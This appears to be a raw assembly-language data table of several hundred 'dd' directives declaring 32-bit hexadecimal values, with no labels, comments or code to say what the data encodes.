dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h
dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh, 0D28697A1h
dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h
dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah
dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch, 61D64ABDh
dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h, 5FF926C0h
dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h
dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch, 98A1170Eh
dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h
dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h, 0DF91003Bh
dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h
dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h
dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh
dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h, 0A225ACC7h
dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh, 24F54BECh
dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h, 0B356FD3Ah
dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh, 7ABA26C0h
dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h, 958F476Ah
dd 7EB45DA7h, 5ED6116h, 0F100FA1Ah, 871D15DBh, 0B414503Fh
dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah, 0CC25EE98h
dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh, 6E06AAB6h
dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh
dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh
dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h
dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh
dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h
dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h, 9335C57Ah
dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h
dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh
dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh
dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah
dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh
dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h
dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh, 0F656E470h
dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h
dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh
dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh
dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h
dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h, 6255A951h
dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h
dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh
dd 71DC5D11h, 9121637h, 5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh
dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h
dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch
dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h, 31AFBAAh
dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh
dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h, 3C110822h
dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh
dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh
dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h
dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh, 2115430h
dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h, 80D641D4h
dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h
dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h, 0AC1C8273h
dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh, 0EC733BD7h
dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h
dd 42F538D8h, 77C6F4Bh, 2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh
dd 22E2FE99h, 1F470AC3h
dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h
dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h
dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h
dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h
dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h, 53090BAAh
dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h
dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah
dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h
dd 0FE0097Bh, 446B528h, 0E5A27B37h, 0D575E303h, 0A06F7061h
dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h
dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh, 0DA32FF86h
dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h
dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh
dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh
dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh
dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h
dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh
dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h
dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh, 2BAD5510h
dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h
dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h
dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h, 9C6806B9h
dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h
dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h, 0AD46C76Ah
dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h, 0BC6177ADh
dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h
dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh
dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh
dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h
dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh
dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh
dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h
dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh
dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh
dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h
dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh
dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h
dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h, 568C3A9Ah
dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h
dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh
dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h
dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh, 40D216F9h
dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h
dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h, 14B1D910h
dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h, 487C0BBBh
dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h
dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch
dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h, 0ED432832h
dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h
dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h, 958822C5h
dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h, 7CEF499Ch
dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh, 4CA85B13h
dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h
dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh, 0F378E5C3h
dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh
dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh
dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh
dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h
dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh
dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h
dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh
dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h
dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h, 2D262ABFh
dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch
dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h
dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h, 6C59C32Eh
dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h
dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h, 0EC6BD944h
dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h
dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h
dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh
dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh
dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h
dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h
dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h
dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh
dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h, 86279056h
dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh, 0B09946ECh
dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh, 5EB1ABADh
dd 6DD2E80h, 1B46AF94h, 6DD200F9h, 7DBE1BFEh, 9D94C5CFh
dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h
dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh
dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h
dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h
dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h, 0A348B619h
dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch, 6FD848C8h
dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h
dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h, 42A0DE16h
dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch, 0C40D20D2h
dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch, 0BFE8A1B8h
dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah
dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh
dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h, 34CA3AA9h
dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h, 98749CBh
dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h, 0CC718E39h
dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h
dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h
dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h, 55BFB124h
dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh, 5FC263D5h
dd 8DED98E1h, 3FD6E52h, 39AF2096h, 0D04DF73Ch, 28E5D371h
dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h, 6A1CC17Fh
dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h
dd 7CBB07B2h, 7EBDFD30h
dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h
dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h
dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h, 0C4CFD79Eh
dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh
dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h, 77ADDBE4h
dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h
dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h, 5BA435D4h
dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh, 0B655F5E6h
dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h
dd 4D8E171h, 66F37DF9h, 6BED76FEh, 50AFD214h, 0BE7828CDh
dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h, 0E0AAA0DCh
dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h
dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h, 0F6972B46h
dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h, 0D54FCB83h
dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh
dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h, 1E6B03EFh
dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh
dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h
dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh
dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh
dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h, 56C016FAh
dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah
dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh
dd 75C7C11h, 66DF61C0h, 6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh
dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h
dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h
dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh
dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh, 7D1BB60Fh
dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah, 0FCC995C7h
dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh, 95315637h
dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h, 95B852B2h
dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h
dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h, 6D8F4A57h
dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h
dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h, 0BFF300EDh
dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h
dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h, 47A5669Fh
dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h
dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h
dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h
dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h, 0A0BA5F69h
dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh, 0DBAE67EAh
dd 704D62Ah, 8B4CA667h, 7A6AECBh, 8FD0101Eh, 55378FF1h
dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h, 4C94548Ah
dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h
dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh
dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh
dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah
dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h
dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h
dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h
dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh, 735C810h
dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h
dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h, 95C97F46h
dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh, 2B73783Ch
dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h
dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh, 0A40DAFC3h
dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h, 396F0094h
dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h
dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h
dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h, 0F72D3F62h
dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h, 13F0D06h
dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h, 8725376Bh
dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h, 3D518DDDh
dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h
dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h
dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh
dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h, 65B7B608h
dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h
dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh
dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h
dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch, 8F33B0E6h
dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h
dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h, 0FE0FFD40h
dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h
dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h, 60C5E27Ah
dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h
dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh, 0D0192513h
dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh
dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh, 0C78EB071h
dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh
dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h
dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h, 810B4911h
dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h
dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h, 0A6C5F312h
dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h
dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h, 9493BD82h
dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh
dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h
dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh, 45DB0A6Ah
dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh
dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h
dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh
dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh
dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h
dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch
dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h
dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h, 0E34BE7DEh
dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h
dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h, 0B77780F2h
dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh, 0AF572ECBh
dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h
dd 12AA945Eh, 4FF0D18Eh
dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h, 0CB660DC1h
dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h
dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h, 661C9572h
dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh
dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h, 4BC7AFB7h
dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h
dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h
dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh
dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h
dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh
dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh
dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h
dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah
dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h
dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h
dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch, 17CA90D1h
dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah, 0F662BD3h
dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h
dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh
dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h
dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh
dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h, 9942F871h
dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h
dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h, 8A33C9A6h
dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh
dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h
dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h
dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h
dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h
dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh
dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h
dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh
dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h
dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh
dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h, 2A6AC259h
dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh, 4833350Ah
dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh, 0EA70EA67h
dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h, 683C83CCh
dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h
dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h
dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h, 91685DD8h
dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch
dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh
dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h
dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh
dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh
dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh, 0CA06E2A1h
dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh
dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh
